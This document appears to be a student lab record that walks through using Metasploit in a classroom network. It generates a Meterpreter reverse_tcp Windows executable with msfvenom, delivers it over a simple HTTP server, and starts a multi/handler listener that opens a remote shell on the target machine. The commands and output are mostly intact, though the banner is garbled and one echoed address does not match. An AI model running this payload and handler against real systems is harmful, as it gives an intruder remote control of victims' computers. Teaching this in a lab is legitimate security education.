

Ex. No.: 8

METASPLOIT

Aim:

To set up Metasploit framework and exploit reverse_tcp in Windows 8 machine remotely.

Algorithm:

1. Generate payload to be inserted into the remote machine
2. Set the LHOST and it's port number
3. Open msfconsole.
4. Use exploit/multi/handler
5. Establish reverse_tcp with the remote windows 8 machine.
6. Run SimpleHTTPServer with port number 8000.
7. Open the web browser in Windows 8 machine and type http://172.16.8.155:8000
8. In KaliLinux, type sysinfo to get the information about Windows 8 machine
9. Create a new directory using mkdir command.
10. Delete the created directory.

Output:

```
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.8.155  
LPORT=443 -f exe > /root/hi.exe
```

```
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
```

```
[-] No arch selected, selecting arch: x86 from the payload
```

```
No encoder or badchars specified, outputting raw payload
```

```
Payload size: 341 bytes
```

```
Final size of exe file: 73802 bytes
```

```
root@kali:~# msfconsole
```

```
[-] ***Rting the Metasploit Framework console...\
```

```
[-] * WARNING: No database support: could not connect to server: Connection refused
```

```
Is the server running on host "localhost" (::1) and accepting
```

```
TCP/IP connections on port 5432?
```

could not connect to server: Connection refused

Is the server running on host "localhost" (127.0.0.1) and accepting
TCP/IP connections on port 5432?

[-] ***

```

-
/\  \      _      _  _  /  /  _
|| \ / |____  \ \      _  _  || / \ _  \ \
|| \ || |____ \ | - |  \ / _ \ | - _ / || || || | - |
| | | | | _ | | / - \ _ \ \ || | | \ _ / | | | |
  | | _ _ / \ _ \ \ ^ \ \ _ / \ \ \ _ | | \ \ _ \
```

```

=[ metasploit v5.0.41-dev          ]
+ -- ==[ 1914 exploits - 1074 auxiliary - 330 post      ]
+ -- ==[ 556 payloads - 45 encoders - 10 nops          ]
+ -- ==[ 4 evasion                               ]
```

msf5 > use exploit/multi/handler

msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf5 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

Name	Current Setting	Required	Description
------	-----------------	----------	-------------

Payload options (windows/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
----	-----	-----	-----
EXITFUNC	process	yes	Exit technique (Accepted: ", seh, thread, process, none)
LHOST		yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id Name

-- ----

0 Wildcard Target

```
msf5 exploit(multi/handler) > set LHOST 172.16.8.155
```

```
LHOST => 172.16.8.156
```

```
msf5 exploit(multi/handler) > set LPORT 443
```

```
LPORT => 443
```

```
msf5 exploit(multi/handler) > exploit
```

```
[*] Started reverse TCP handler on 172.16.8.155:443
```

Result: Thus, the setup of Metasploit framework and exploit reverse_tcp in Windows 8 machine remotely has been executed successfully.